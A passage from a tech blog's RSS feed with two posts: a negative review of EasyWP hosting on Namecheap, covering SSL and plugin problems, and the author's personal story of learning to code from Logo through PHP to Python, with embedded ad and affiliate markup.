      <title>My experience using EasyWP and namecheap</title>
      <link>https://coffeebytes.dev/en/linux/my-experience-using-easywp-and-namecheap/</link>
      <pubDate>Thu, 02 May 2019 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/linux/my-experience-using-easywp-and-namecheap/</guid>
      
      <category>linux</category>
      
      <category>opinion</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;A few weeks ago my SO decided to start a blog about coffee shops on Wordpress. After a short talk about the advantages and disadvantages of the most popular registration platforms and resisting my insistent recommendations to use &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://m.do.co/c/a22240ebb8e7&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;DigitalOcean&lt;/a&gt;&#xA; or &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://aws.amazon.com/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;AWS&lt;/a&gt;&#xA;, she went to register her domain at namecheap. A few minutes after starting the namecheap registration process, a banner caught her attention: &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.easywp.com/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;EasyWP&lt;/a&gt;&#xA;. In the following lines I will tell you my experience using namecheap with EasyWP&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/linux/my-experience-using-easywp-and-namecheap/images/EasyWP.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/linux/my-experience-using-easywp-and-namecheap/images/EasyWP.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;easywp advertising image&#34; width=&#34;1903&#34; height=&#34;434&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;EasyWP promised a smooth and easy WordPress deployment:&lt;/p&gt;&#xA;&lt;p&gt;&amp;ldquo;Imagine being online in minutes, with everything ready to go. No worries about hosting, navigating old interfaces or wondering how to install WordPress. We do all that for you, in one click. With our managed WordPress hosting service you save time and money.&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;Sounds pretty convincing, doesn&amp;rsquo;t it? No more SSH terminals, GNU/Linux package installation or databases. A simple click on the namecheap web page and everything would be ready.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/linux/my-experience-using-easywp-and-namecheap/images/whyEasyWP.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/linux/my-experience-using-easywp-and-namecheap/images/whyEasyWP.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;The namecheap service menu&#34; width=&#34;1880&#34; height=&#34;913&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Service menu in easyWP&lt;/p&gt;&#xA;&lt;p&gt;After completing the installation, my SO had her WordPress blog up and running and accessible from any web browser, so far so good. The next step on her list was to install an SSL certificate, preferably one from Let&amp;rsquo;s Encrypt. This is where the nightmare begins.&lt;/p&gt;&#xA;&lt;h2 id=&#34;easywp-installation-is-simple-but-restrictive&#34;&gt;EasyWP installation is simple but restrictive.&lt;/h2&gt;&#xA;&lt;p&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://wordpress.org/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;WordPress&lt;/a&gt;&#xA; is a content management system (CMS) that automates and makes extremely simple all common tasks in the deployment of a website. There are plugins for almost everything: SEO, subscription lists, spam prevention, web analytics, SSL certificates, etc. The latter was the one I needed to use, but, once the plugin was installed, the SSL certificate was impossible to deploy, the plugin displayed an error on the screen, over and over again. After watching her suffer for a while, I decided to help her with the installation, but I failed.&lt;/p&gt;&#xA;&lt;p&gt;The EasyWP installation is not a normal installation, it is a preconfigured installation with certain restrictions; it is impossible to access directories other than those of the WordPress installation, so it is not possible to use the ./well-know method, **it does not have the classic cPanel nor does it allow access via SSH.&lt;/p&gt;&#xA;&lt;p&gt;After a couple of hours of research I realized that implementing an SSL certificate from Let&amp;rsquo;s encrypt was impossible, and that this problem was a recurring situation on the namecheap forums. In order not to waste more time than necessary on such a trivial task my SO decided to throw money at the problem and buy an SSL certificate directly from namecheap. What a disappointment.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;easywp-has-problems-with-some-plugins&#34;&gt;EasyWP has problems with some plugins&lt;/h2&gt;&#xA;&lt;p&gt;The following problem occurred when my SO decided to customize the appearance of her blog using &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://generatepress.com/?ref=2020&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;GeneratePress&lt;/a&gt;&#xA;. GeneratePress is a plugin that has a library of sites, these can be taken as a starting point to start modifying them. &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://generatepress.com/?ref=2020&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;GeneratePress&lt;/a&gt;&#xA; works perfectly on my site. However, because of EasyWP, an &amp;ldquo;error 400&amp;rdquo; appears on the screen when trying to install a theme from the library of sites. The theme loads, but with numerous errors, no images and a faulty CSS that behaves differently when compared to the preview of the same theme. Once again we investigated in the forums and in the search engine, resulting in a couple of threads in the forums, both unsolved, by an annoyed customer. We contacted customer service but they were unable to fix the error.&lt;/p&gt;&#xA;&lt;p&gt;To make the situation even worse, a few days after the claim, on April 23rd, the servers using wordpress and easywp were having problems. The site could not be accessed. The problem was fixed in less than 24 hours, but left numerous errors in the installation again, this time in the installation css files.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/linux/my-experience-using-easywp-and-namecheap/images/errorEasywpNamecheap.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/linux/my-experience-using-easywp-and-namecheap/images/errorEasywpNamecheap.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Problem loading css files in easywp&#34; width=&#34;1366&#34; height=&#34;768&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Easywp css file loading error&lt;/p&gt;&#xA;&lt;h2 id=&#34;my-opinion-on-easywp&#34;&gt;My opinion on EasyWP&lt;/h2&gt;&#xA;&lt;p&gt;To finish this post, I&amp;rsquo;ll say that I do not recommend EasyWP at all, it has too many limitations that complicate the process of setting up and customizing a wordpress site. It is better the classic traditional installation and access to a command terminal, even a Digital Ocean App.&lt;/p&gt;&#xA;&lt;p&gt;On the other hand, namecheap as a domain name provider is pretty decent. It is easy to use, has a user-friendly interface and quite attentive and friendly customer service.&lt;/p&gt;&#xA;&lt;p&gt;I do not know the experience that other people have had with EasyWP. The experience I have had with EasyWP has been disappointing. I recommend a thousand times a traditional installation, either writing the necessary code in the command line, using a droplet from &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://m.do.co/c/a22240ebb8e7&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Digital Ocean&lt;/a&gt;&#xA; or &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://aws.amazon.com/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;AWS&lt;/a&gt;&#xA;, or even registering the website directly in Wordpress. By the way, if you&amp;rsquo;re interested in reading about &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/my-digital-ocean-review-analysis-and-my-experience-as-a-user/&#34;&gt;my experience using digital ocean&lt;/a&gt;&#xA; click it now.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;A few weeks ago my SO decided to start a blog about coffee shops on Wordpress. After a short talk about the advantages and disadvantages of the most popular registration platforms and resisting my insistent recommendations to use &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://m.do.co/c/a22240ebb8e7&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;DigitalOcean&lt;/a&gt;&#xA; or &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://aws.amazon.com/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;AWS&lt;/a&gt;&#xA;, she went to register her domain at namecheap. A few minutes after starting the namecheap registration process, a banner caught her attention: &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.easywp.com/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;EasyWP&lt;/a&gt;&#xA;. In the following lines I will tell you my experience using namecheap with EasyWP&lt;/p&gt;</summary>
    </item>
    
    
    
    
    <item>
      <title>Hello World, how did I learn to code?</title>
      <link>https://coffeebytes.dev/en/opinion/hello-world-how-did-i-learn-to-code/</link>
      <pubDate>Sun, 31 Mar 2019 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/opinion/hello-world-how-did-i-learn-to-code/</guid>
      
      <category>opinion</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;The first time I used a computer was when I was 9 years old, in the computer room of the school where I studied. The teachers were teaching us how to operate the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.xataka.com/historia-tecnologica/tortuga-que-nos-enseno-a-programar-historia-logo-primer-lenguaje-programacion-disenado-para-ninos/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Logo Writer turtle&lt;/a&gt;&#xA; using simple commands, in MS-DOS. We made the turtle paint hexagons, octagons and even trapped it in an infinite loop.&lt;/p&gt;&#xA;&lt;p&gt;I didn&amp;rsquo;t have a computer at home, so my interaction with computers was limited to those two hours a week at school.&lt;/p&gt;&#xA;&lt;p&gt;When I was 12 years old my dad brought a computer at home, an IBM that he got to facilitate his work as a teacher. That little thing with 256 MB of RAM and 10 GB of hard drive was my test subject. I installed small programs on it, clicked on everything I could, downloaded the openings and endings of Neon Genesis Evangelion in midi (mp3 was not popular back then) and used it to play lots and lots of video games on the emulators that were available on the net.&lt;/p&gt;&#xA;&lt;p&gt;One fine day, while surfing the internet, I discovered the personal blogs on &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.blogger.com/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;blogspot&lt;/a&gt;&#xA;, I became a fan of the blogger atmosphere, I visited one blog after another, they all had such interesting things to tell. Some were bright, colorful and full of details, others were minimalist and elegant, others quite dark and gloomy; &lt;strong&gt;each blog was a reflection of its author&amp;rsquo;s personality&lt;/strong&gt;. Back then I had no idea how to have my own.&lt;/p&gt;&#xA;&lt;h2 id=&#34;internet-and-blogs&#34;&gt;Internet and blogs&lt;/h2&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;After reading a couple of tutorials and learning how easy it was to create a blog, I decided to create my own, I named it &amp;ldquo;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://web.archive.org/web/20100212062706/http://manzana-amarga.blogspot.com/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;manzana amarga&lt;/a&gt;&#xA;&amp;rdquo; (bitter apple), after a song from an anime called Shaman King. I used to fill it with my thoughts and the occasional pictures of my daily life.&lt;/p&gt;&#xA;&lt;p&gt;Eventually I wanted to customize it and found that to do so I had to modify the HTML and CSS code. In order to modify my tiny little corner on the internet the way I wanted, I learned the basics of HTML and CSS; to change the font color, the background, modify the layout to have more columns, to insert background images, to add small scripts and chatboxes, etc.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/opinion/hello-world-how-did-i-learn-to-code/images/blog-manzana-amarga.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/opinion/hello-world-how-did-i-learn-to-code/images/blog-manzana-amarga.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Registration of my blog archive.org, the layout was ruined because Photobucket changed its urls scheme.&#34; width=&#34;1200&#34; height=&#34;605&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Registration of my blog archive.org, the layout was ruined because Photobucket changed its urls scheme.&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;A few years later, thanks to of one of my best friends, I got a job in a cyber café. I learned how to fix the most common bugs, to connect printers to a server, to pass files between computers in the same network, to modify the windows registry keys, to download torrent files, to anage Office packages, Photoshop, Keyloggers, to format computers, etc. &lt;strong&gt;However, during all that time, I never coded anything&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;While working at the cyber café, I decided to study chemistry because I was good at mathematics and hard sciences. Along the way I created another blog called &amp;ldquo;Lluvia de fotones&amp;rdquo; (Rain of Photons) that I ran while I was taking my classes.&lt;/p&gt;&#xA;&lt;p&gt;I didn&amp;rsquo;t like university (in general, not only the career I chose), I found it slow-going, boring, protocolary and full of nonsense. Throughout my time at the university, knowing how to use a computer to search for information gave me many advantages over my less tech skilled classmates.&lt;/p&gt;&#xA;&lt;p&gt;I finished my degree and &lt;strong&gt;graduated in the top three GPAs of my class&lt;/strong&gt;. However, after a quick glance to the available workplaces in my hometown, I decided never to practice.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;supercell-and-miku-hatsune&#34;&gt;Supercell and Miku Hatsune&lt;/h2&gt;&#xA;&lt;p&gt;One afternoon I was researching about a Japanese band called &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.supercell.jp/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Supercell&lt;/a&gt;&#xA; on the internet. Supercell was a rather peculiar band, their vocalist was a computer program called Vocaloid, a software that borrowed the voice of &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://en.wikipedia.org/wiki/Saki_Fujita/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Saki Fujita&lt;/a&gt;&#xA; to create a virtual singer, named Miku Hatsune. Vocaloid allowed its users to use Miku Hatsune as their personal vocalist, modulating tones, beats and syllables.&lt;/p&gt;&#xA;&lt;p&gt;The more I read about Miku Hatsune the more I wanted to know, I was stunned; the company that had programmed Vocaloid was literally giving a voice to all those artists who, for one reason or another, did not have a voice to bring their lyrics to life. At that moment I understood the true potential that the code had and I said to myself: &amp;ldquo;I also want to use computers and code to create&amp;rdquo;.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/opinion/hello-world-how-did-i-learn-to-code/images/FiguraDeMikuHatsune.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/opinion/hello-world-how-did-i-learn-to-code/images/FiguraDeMikuHatsune.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Miku Hatsune plastic figure&#34; width=&#34;1280&#34; height=&#34;853&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Miku Hatsune plastic figure. Image credits to 南menghua &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://pixabay.com/es/users/%E5%8D%97menghua-19298964/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;https://pixabay.com/es/users/%E5%8D%97menghua-19298964/&lt;/a&gt;&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;At that time, it crossed my mind to go back to college, but I dismissed the idea immediately. I had already been there, the university was inefficient, the level of most of the professors was mediocre at best, their academic plans were completely outdated and the face-to-face classes were slow and inefficient. I decided that I would not make the same mistake twice, this time I would try to learn on my own.&lt;/p&gt;&#xA;&lt;h2 id=&#34;moving-from-windows-to-gnulinux&#34;&gt;Moving from Windows to GNU/Linux&lt;/h2&gt;&#xA;&lt;p&gt;At some point right after leaving college I switched my personal operating system to GNU/Linux, at first I had a hard time adapting, I missed Photoshop and other Microsoft exclusive programs, but as I learned how it worked I started to enjoy it even more than Windows. I started with Linux Mint (I never liked Ubuntu), then I tried Kali for a year and ended up with Debian, which I still use as my main operating system.&lt;/p&gt;&#xA;&lt;p&gt;In Linux I learned how to install programs and the basic commands. Later I learned how to set up a LAMP server and coded my first &amp;ldquo;hello world&amp;rdquo; in PHP.&lt;/p&gt;&#xA;&lt;h2 id=&#34;my-experience-with-php&#34;&gt;My experience with PHP&lt;/h2&gt;&#xA;&lt;p&gt;PHP was my first experience with a programming language, and also the shortest one. After reading a thick book called Beginning PHP and MySQL, written by W. Jason Gilmore at the municipal library, and learning quite a few basic concepts I was quite overwhelmed with the large amount of unnecessary functions, its syntax seemed chimerical and whimsical, and I was quite disappointed when I learned that the language was incapable of producing desktop applications in a simple way.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;PHP had introduced me to the world of programming relatively easily, but I still felt that the language was not for me&amp;hellip; but then I met Python.&lt;/p&gt;&#xA;&lt;h2 id=&#34;language-with-the-name-of-a-group-of-humorists&#34;&gt;Language with the name of a group of humorists&lt;/h2&gt;&#xA;&lt;p&gt;After months of avoiding all information related to Python &lt;strong&gt;for the silly reason that it owes its name to &amp;lsquo;Monty Python&amp;rsquo;&lt;/strong&gt;, a group of British comedians with whom I was not familiar, I decided to leave my prejudices behind and give it a try. I signed up for the online Python course &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://code.org/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;code.org&lt;/a&gt;&#xA; and instantly fell in love with the language.&lt;/p&gt;&#xA;&lt;p&gt;Python fascinated me with its simple syntax, the simplicity of the functions and the elegance of its design.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; 